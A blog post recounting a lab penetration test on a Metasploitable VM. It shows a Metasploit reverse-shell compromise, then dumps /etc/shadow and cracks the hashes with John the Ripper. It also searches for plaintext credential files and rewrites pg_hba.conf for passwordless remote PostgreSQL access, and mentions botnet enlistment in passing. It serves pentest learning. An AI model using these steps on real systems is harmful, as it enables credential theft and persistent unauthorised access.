Another one of the Metasploitable series. This time I’ll try to exploit vulnerable RMI server. However, as I’ve taken a look at the exploit code, I’ve decided that I’m a bit lazy and I want to play around with Metasploit and since I had a few tricks to overcome I feel it might be worth to share what I came across and do some post-exploitation exploration.
So it won’t be about the dig tool, nor will it feature this catchy song:
A few steps to get root and what next – post exploitation.
The sheer exploitation turned out to be pretty easy (as fast as I’ve learned to set up the options properly). I chose an exploit, loaded it, set target and with default payload being TCP reverse shell I was in.

And at this point it dawned to me that this is a bit too easy. I had root, but had no idea what to do with it. To put it in a different way: if this was a real pentest, what would I be able to tell the client? The “Yo dawg, I totally pwned you!!! N000b!!! 31337 FTW” did not seam appealing. I didn’t need to escalate the privileges, since I already was root, when I checked the PostgreSQL and MySQL databases, they allowed to access with default credentials, so there was no need to change anything… A fruit hanging too low turned out to be already fallen and rotten.
OK, but what if…
So the first thing I’ve decided to search for were passwords. In Linux they are stored in /etc/shadow
(mind, not /etc/passwd
. Let’s display the contents.
meterpreter > shell Process 1 created. Channel 1 created. cat /etc/shadow root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: daemon:*:14684:0:99999:7::: bin:*:14684:0:99999:7::: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7::: sync:*:14684:0:99999:7::: games:*:14684:0:99999:7::: man:*:14684:0:99999:7::: lp:*:14684:0:99999:7::: mail:*:14684:0:99999:7::: news:*:14684:0:99999:7::: uucp:*:14684:0:99999:7::: proxy:*:14684:0:99999:7::: www-data:*:14684:0:99999:7::: backup:*:14684:0:99999:7::: list:*:14684:0:99999:7::: irc:*:14684:0:99999:7::: gnats:*:14684:0:99999:7::: nobody:*:14684:0:99999:7::: libuuid:!:14684:0:99999:7::: dhcp:*:14684:0:99999:7::: syslog:*:14684:0:99999:7::: klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7::: sshd:*:14684:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7::: bind:*:14685:0:99999:7::: postfix:*:14685:0:99999:7::: ftp:*:14685:0:99999:7::: postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7::: mysql:!:14685:0:99999:7::: tomcat55:*:14691:0:99999:7::: distccd:*:14698:0:99999:7::: user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7::: service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7::: telnetd:*:14715:0:99999:7::: proftpd:!:14727:0:99999:7::: statd:*:15474:0:99999:7:::
I’ve decided to run a dictionary attack on this using John the Ripper. A simplistic attack that I can perform while thinking what to do next. First, I chose a default (yeah, I still don’t really know what I’m doing) wordlist from the built in ones. I hope that nearly 90 000 passwords will find me something.
┌──(gonczor㉿kali)-[~/Documents/Metasploitable] └─$ wc -l /usr/share/wordlists/metasploit/password.lst 88397 /usr/share/wordlists/metasploit/password.lst
Before we begin we need to unshadow the passwords. Thank you null-byte. And now we wait…
┌──(gonczor㉿kali)-[~/Documents/Metasploitable] └─$ unshadow passwd shadow > unshadowed ┌──(gonczor㉿kali)-[~/Documents/Metasploitable] └─$ john --wordlist=/usr/share/wordlists/metasploit/password.lst unshadowed Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Remaining 5 password hashes with 5 different salts Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status service (service) user (user) 2g 0:00:00:01 DONE (2021-09-10 21:47) 1.769g/s 77285p/s 366767c/s 366767C/s ziggy..vagrant Use the "--show" option to display all of the cracked passwords reliably Session completed ┌──(gonczor㉿kali)-[~/Documents/Metasploitable] └─$ john --show unshadowed sys:batman:3:3:sys:/dev:/bin/sh klog:123456789:103:104::/home/klog:/bin/false user:user:1001:1001:just a user,111,,:/home/user:/bin/bash service:service:1002:1002:,,,:/home/service:/bin/bash
Please note at the time those 90 000 combinations were checked: 2g 0:00:00:01 DONE (2021-09-10 21:47) 1.769g/s 77285p/s 366767c/s 366767C/s ziggy..vagrant
. That’s no time and in fat we could go a little bit further and try a bruteforce attack (compare password cracking part 1 and part 2), but those passwords are enough for now. I’ve tried to log in using one of those passwords and it worked.
└─$ ssh sys@192.168.99.102 2 ⨯ The authenticity of host '192.168.99.102 (192.168.99.102)' can't be established. RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.99.102' (RSA) to the list of known hosts. sys@192.168.99.102's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ sys@metasploitable:~$
Let’s jump back to meterpreter and search for some interesting files like other passwords. Let’s use the built-in tool for searching for files.
meterpreter > search -f pass* Found 78 results... /etc/pam.d/passwd (92 bytes) /etc/passwd (1581 bytes) ... /var/www/mutillidae/passwords (4096 bytes)
Out of those, what caught my attention, 1 contained something that might be useful:
cat /var/www/mutillidae/passwords/accounts.txt 'admin', 'adminpass', 'Monkey!!! 'adrian', 'somepassword', 'Zombie Films Rock!!! 'john', 'monkey', 'I like the smell of confunk 'ed', 'pentest', 'Commandline KungFu anyone?'
Looks like some other pentester already visited this site… Anyway, let’s try out the admin/adminpass combination. I must admit that it was a bit confusing.

It looks like a blind spot. I’ll keep this in mind and maybe return later. What should be noticed, however, is that the passwords are stored in plaintext and that we know the path to the application, which may be used in file inclusion attacks.
Playing around with access
As I’ve found out, the passwords for databases were all set to default. But if they were not, maybe it would be a good idea to mess around with them? According to this tutorial changing password for PostgreSQL should be as simple as modifying single text file. Let’s modify this a bit. I’m going to do this locally on the attacking machine, since the shell I have access to does not work well with text editors. Later I’ll just use the upload
command.
# Database administrative login by UNIX sockets host all postgres 0.0.0.0/0 trust # TYPE DATABASE USER CIDR-ADDRESS METHOD # "local" is for Unix domain socket connections only local all all ident sameuser # IPv4 local connections: host all all 0.0.0.0/0 md5 # IPv6 local connections: host all all ::0/0 md5
Now postgres user can log in from anywhere without a password. We need to restart the server:
/etc/init.d/postgresql-8.3 restart * Restarting PostgreSQL 8.3 database server
An viola. No password prompt:
┌──(gonczor㉿kali)-[~] └─$ psql --host 192.168.99.102 --user postgres 2 ⨯ psql (13.2 (Debian 13.2-1), server 8.3.1) Type "help" for help. postgres=#
I’m not sure whether this is the best way to approach this, but here we are. Unfortunately there isn’t much to explore with this db.
postgres=# \l List of databases Name | Owner | Encoding | Access privileges -----------+----------+----------+----------------------- postgres | postgres | UTF8 | template0 | postgres | UTF8 | =c/postgres + | | | postgres=CTc/postgres template1 | postgres | UTF8 | =c/postgres + | | | postgres=CTc/postgres (3 rows) postgres=# \dt Did not find any relations. postgres=#
Summary
Maybe this wasn’t the most technically challenging attack, but I had some fun figuring out what I can break while having the root access. Another idea if I was intending to monetize the access could be for example adding server to some botnet. Finding out how to manage some ancient services, how to bypass the lack of proper console editor and cracking some passwords turned out to be quite fun. The post exploitation process can be as interesting as the exploitation itself. Maybe for the next part I’ll focus a bit more on web application exploitation? Let me know what you think and happy hacking.
Psst, subscribe to the newsletter if you like what I’m doing and see the latest posts: